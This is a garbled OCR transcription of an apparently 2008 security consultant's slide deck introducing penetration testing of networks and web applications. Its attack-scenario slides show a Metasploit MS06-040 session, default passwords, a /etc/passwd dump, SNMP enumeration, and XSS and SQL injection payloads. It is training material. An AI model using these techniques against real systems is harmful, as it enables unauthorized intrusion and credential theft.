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» Penetration Testing Overview
» Network Vulnerabilities

» Web Application Vulnerabilities
» Resources/Questions
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—— : Disclaimer
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» The techniques outlined In this presentation
are intended to be performed by authorized
individuals only.

» Attempts to perform unauthorlzed tests are
illegal. = - =
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. About Me
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» Paul Petefish - Security Consultant in the
Solutionary Consulting Services (SCS) group

> What | do: External Penetration Assessments,
Internal Penetration Assessments, Wireless
Assessments, Application Security
Assessments
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1 What is a Penetration Test?

SOLUTIONARY
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» Attack and Penetration Testing Is a systematic
approach to identifying weaknesses in already
deployed targets and exploiting those
weaknesses.

> It Is a vulnerability assessment followed by
exploiting the vulnerabilities found during the
assessment.

» “You are trying to break a system, without
breaking the system.”
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——p—_ Why Conduct a Penetration
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. lest?

» How do you know you are secure without testing?

» How do you know Iif anything works without testing
It?

» Penetration tests evaluate how things actually are,
not how they should be.

» A penetration test can leverage two or three low to
medium risk vulnerabilities and turn the result into a
critical vulnerabillity.

» Compliance (PCI)
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Network Vulnerabilities

Network Vulnerabilities
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— T Patch Management
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P A

» Unpatched/Outdated Services

- Is there exploit code in the wild?
- Security focus (bid)
- Metasploit
- MilwOrm
- Google

- Never exploit without consent or knowing the
conseguences (crashing the service).
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Attack Scenario
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» Metasploit and MS06-040
> YeS’ It IS that eaSy. [*] Command shell session 1 opened (10.16.0.97:550859 -> 10.10.0.22:4444)

msf exploit(ms06 040 netapi) > set USER solutionary

USER == solutionary CIANWINNT, svstem3iZ-ipoontig
msf exploit(ms06 040 netapi) > set PASS ipoonfig
PASS =>

msf exploit(ms06 040 netapi) > show options

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

Windows Z000 IP Configuration
Module options:

; : A Ethernet adapter Local Area Connection:
Name Current Setting Required Description

RHOST ~ 172.19.34.76 The target address Connection-specific DNS Suffix

RPORT 445 yes Set the SMB service port IF Address. . . . « « « « « .« . . : 10.10.0.:22

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Subnet Mask - . . . . . . .+ . . . i 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.0.1

Payload options:
CiWWINNT, system3 2>
Name Current Setting Required Description
—--- CiW WINNTY systems 2 >hostname
EXITFUNC thread Exit technique: seh, thread, process 1-ztname
PASS 24 yes The password for this user FALTES
USER solutionary yes The username to create

C:y WINNT, svatensz =l
Exploit target:

Id Name

0  (wcscpy) Automatic (NT 4.0, 2000 SPO-SP4, XP SPO-SP1)

exploit (ms06_ 040 netapi) > exploit

Detected a Windows 2000 target

Binding to 4b324fcB-1670-01d3-1278-5a47hf6eeld8:3.0@ncacn_np:172.19.34.76[\BROWSER]
Bound to 4b324fc8-1670-01d3-1278-5a47bf6eel88:3.0@ncacn np:172.19.34.76[\BROWSER]
Building the stub data...

Calling the wvulnerable function...

Exploit completed, but no session was created.

exploit (ms06_040 netapi) > [

E |

» @5Shell - Framewor @sShell - SinFP = shell - Kensole @ Shell - Framew @ BackTrack 2 Fine
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e Build Standards/Configuration
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L

. Harding

> Administrative Interfaces

- Look for default passwords on vender site or default
password site (one of the most common vulnerabilities in
2008).

- Try common password combinations (admin:admin,
root:root, guest:guest, administrator:administrator, etc..).

- Do not lockout accounts, do not try the same username
with more than two password combinations.

- Custom application? Beat it up then!
- Input validation
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2 - | Attack Scenario
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» Weak password on Cisco router (cisco:cCisco)
» Used device as a proxy to attack other hosts

CO INT T3rtelnet 70.89.218. a0

ryving Y0.59.218. , 80 ... Open

ET /etoc/passwd HTTR/1.1
T0.89,.218.

HTTP/1.1 200 OE

Date: Fri, 15 Fekh 2005 20:52:30 GHT
Serwver: Apache

Lazt-Modified: Fri, 15 Febh 2008 20:40:50 GMT
ETag: "S7eaie-Sad-ebhfzZLssor

bocept-Ranges: bhytes

ontent-Length: 1453

onhection: oclose

ontent—-Type: text/plain; charset=UTF-3

cootix:0:0:root: froot: fhinf/bhash
binix:l:l:hin:/bin:/shin/nologin

daemon:x:2:2::dast
an: fshin: fshin/nologin

adm:x:3 14 radm: Sfvardadm: fsbhindnologin

lp:x:4:7:1lp:iwvar/spoo.
flpd: fsbhin/nologin

gvnoaxiSi0isvne: Sshin: ‘hind avne
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— T Build Standards/Configuration
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. Hardino

> SNMP Service

- Public community string
- Sensitive information, potentially root

- Private community string
- Root maybe, Cisco device?, definitely

- Brute force with Hydra, SNscan
- Read with Look@Lan or Snmpwalk
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g Attack Scenario
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> Netopia Wireless DSL Router
» Username: Admin

» Password: Device serial number (gathered from SNMP public)
> Look@Lan . .=138.198 public

"Metopia 334VHUG »7.5.1r4"
0ID: .iso.3.6.1.4.1.3084.2.2.19.3343
¥ Look@LAN - SNMP System Details Timeticks: ¢(4B85%318852> 4 days. 16:35:18.85

— "Metopia—388H0.-24547448"

@ Description: Hardware: =55 Family & Model & Stepping 3 AT/AT COMPATIELE - Software: windows NT Yersion 4.0 (Build Number: 1331 Multiprocessor Free 0
) Community String: public

Name: TISWE
% Contact:
. Location:
Gﬂ} Up Time: 0 days, 10 hours, S5& minutes, 17 seconds
& Router: HO
—-E@ Wetwork Interfaces

27 Total Interfaces: 3

+ D Interface 01: MS TCP Loopback interface

+ D Interface 02: Compaq Ethernet/FastEthernet or Gigabit WIC

+ D Interface 03: Compaq Ethernet/FastEthernet or Gigabit NIC
- 25 TCP/IP Networks

| Status: @) SNMP Scan Completed in 4,752 seconds,

+- 7§ IF Address: 127.0.0.1 - sSubnet Mask: 255.0.0.0
+ TIP Address: 17z.16.154.12 - Subnet Mask: 255.255.255.0
+ 7§ IF Address: 172.16.184.17 - Subnet Mask: 255.255.255.0

+-f Routes
+-JFl Protocols statistics
=i System Information

= ﬁ ACCOUNES
7 cuest
€7 administrator
PETRE L Lk
€ LDAP_ANONYMOUS
€ TusR_ i
€ Twam
[ < B S P ]
- il Shares
+ g u}
G com
+-fo] Logs
+ o) TEMP
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e Build Standards/Configuration
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. Harding

> Services

- Manually inspect all available services.

- Connect to every service with appropriate client
and test for

- Default/Weak Passwords
- Information leakage
- Input Validation

- Do your research and know the service.
- Unnecessary services
- Directory browsing (/admin, /tools, /jmx-console)
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Transport Security

» Unencrypted Services
- FTP, Telnet, HTTP

» Weak Encryption
- Weak SSL ciphers
- Self issued SSL certificate
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Web Application Vulnerabilities

Web Application Vulnerabilities
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> Client Side

- Validation normally done with JavaScript
- Simple to test, just plug in and submit
- Easy to bypass with Web proxy

> Server Side

- The Web application checks for input.

- Check If potentially malicious characters are
accepted (Q!'@#PYNE*”;'<>[]{F\?").
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e Input Validation
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-

» Cross-site Scripting (XSS)

- It is possible to inject code, normally JavaScript,
Into a Web application.

- This Is bad because you can steal cookies. Cookies
contain session IDs, which are equivalent to
username/passwords.

- Deface Website
- Redirect to a malicious Websites
- How to test?
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Attack Scenario
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» Injecting simple JavaScript
» No client or server side input validation

a Save Hﬂﬂncel E Henu i Close 15
=l

— Category Description
J Appeals Appeals
Aszezzmentz Aszse=zament Notice
Floor Plan Floor Plan
ﬂ General General
1|lI’E Reportz Income & Expense Reports

Category: |Appeals

Description: (ﬁscript:alertﬂl?.d}::fscﬁpt:: ]

e =

Windows Internet Explorer

.3 1234
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» SQL Injection

- You can talk directory to the database without being
authenticated (You are actually authenticated as the Web
application, so you have the same access it does). The
attacker has full access to the application database.

- Tick attack ("p'g'0", p'g"0)
- Look for SQL error messages (Syntax errors).
- Blind SQL injection

- Instead of a handy error message screaming SQL syntax
errors, you have to look for more subtle things, such as
content length returned.
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Attack Scenario

> Injecting SQL query with Burp Suite proxy
» Web application returns syntax error

. result 17 | intruder attack 9

BEX]

.' result 17 | intruder attack 5

BEX]

payload: ¥SELECT @iEhersion--
status: a00
length: a18
tirner: 110

response | reguest |

previous

next

action

ray rparams rheaders rhex rviewstate

nayload: ¥SELECT @hawersion--
status: 500
length: A18
tirner: 110

l’respnnse rrequest |

[renious

next

action

rraw rheaders rhex rrender |

applicationfind.ms-kpsdocument, applicationi-ms-xhap,
applicationt-ms-application, applicationfnd. ms-excel,

applicationivnd. ms-powerpoint, applicationfmswoard, =+

Referer:

AcceptLanguage: en-us

Content-Type: applicationf-wwh-form-urlencoded

AP xBE

Accept-Encoding: gzip, deflate

User-Agent: Mozillafd.0 (compatible; MSIE 7.0; Windows BT 5.1; MET CLR
2080727, MET CLR 3.0.04406.30; MET CLR 1.1.4322; InfoPath.1)
Prowy-Connection: Keep-Alive

Host:

Fragma: no-cache

Coakie: ASPEESSIONIDAADAAD S D=KEJLGHOCOKPHMFHJILARKGRMD;
" AT =3413027008.20430.0000

Cnntem Length: B2

Caonnection: close

ID:&'SELECT@@versiDn-- Fassword=test&B1=Submit

| »

!

R[]

| 0rmatches

Microsoft OLE DB Provider for SQL Server

error '80040e14'

Incorrect syrtax near "SELECT@@version'.

Ipdfloginproc asp, line 32
"

s | I

4]
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e Cache Control
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» Browser Caching

- The Web application should clean up after itself
(no-cache, private).

- Temporary internet files

> GET Requests

- Sensitive information should not be passed via
GET requests. Use POST Instead.

- Web logs, proxies
- History
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—— Attack Scenario

SOLUTIONARY

MAKING SECURITY MANAGEABLTE -

» Session ID cached in firewall logs
> Web application caching sensitive documents

Jun 13
Q1F57

Jun 13 20 N —304001 :

) Temporary Internet Files E]@

File Edit ‘Mjew Favorites Tools  Help |

€ O - ? /l ! Search Falders @-

Address () C:\Documents and Settings), - . ."\Local Settings) Temparary Internet Files e a Go
arne

Folder Tasks A Bdocreadwrite. asp?docid=0000000282
:&I:ulank.asp?docid=I:II:IEIDDI:II:IZBZ&reF=&OFFice=D&de=D&ver=&edit=
l'—"‘-l_]DDDDDDDZB22DDBD?2203294D.xls?iu:I=sLaDsLCwMLF\WMLLCMSHRQSRSUkNCthEx1BK';-'ErDkaQxSQIR\-'BLREjExUpF'xgDKMjczMjU=&r=8340984
:éI:uar.as|:|?u:lu:ucid=IZIIZIIZIDDDD282Beref=&OFFiu:e=D&pu:IF=D&ver=&Edit=&vc=
:édacreadwrite.asp?ducid=DDDDDDDZFB
:éI:ulank.asp?docid=I:II:IEIDDI:II:IZFB&reF=&OFFice=D&de=D&ver=&edit=
lﬁDDDDDDDZFBZDDSDSZS123959.xIs?iu:l=sDaElMDF\wsLCwsDJGwsHRQSRSUsPCchER9DK';-'EpDszQxD,I'IR\.I'BLxMjEerPRgDKLTI1MTM4&r=3356135
) Local Settings B cookie: - - N
=} My Documents :éI:uar.as|:|?I:IDcil:I=IZIIZIIZIEIEIDD2FBBeref=&OFFice=D&de=D&ver=&edit=&vc=
(& docreadwrite, asp?docid=0000000008
:&I:ulank.asp?docid=I:II:IEIDDDDDOF\&reF=&OFFice=D&de=D&ver=&edit=
:éblank.asp
l'—{l_]DDDDDDDDO.DQDD?DI03081642.xls?id=TDC?i4U3yX1aZ4LrLDDj‘ETGnatr3vFHDYSzQp“rSnLvDEWDE‘wvj1sngrWC4+2gDKMjk3MDU=&r=8?IZI4144
[Z]-alandar i
<

D Copy the selected items
B¢ Delete the selected items

b

Other Places

& My Metwork Places
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Resources

> Penetration Test Lab
- VMware with unpatched Windows XP
- Damn Vulnerable Linux (DVL)

» Metasploit

- Exploit framework
- http://www.metasploit.com

» Security Focus
- Vulnerability and exploit archive
- http://www.securityfocus.com

> MilwOrm

- Exploit archive
- http://www.milwOrm.com
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e ——_ Resources Cont.
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> BackTrack

- Self contained penetration testing live distribution
http://www.remote-exploit.org/backtrack.html

» OWASP Testing Guide

- Web application testing guide
- http://www.owasp.org

> OWASP WebGoat

- Self contained vulnerable Web application
- http://www.owasp.org

> Nessus

- Vulnerability Scanner
- http://www.nessus.org
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— Questions?
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Questions?
comments?
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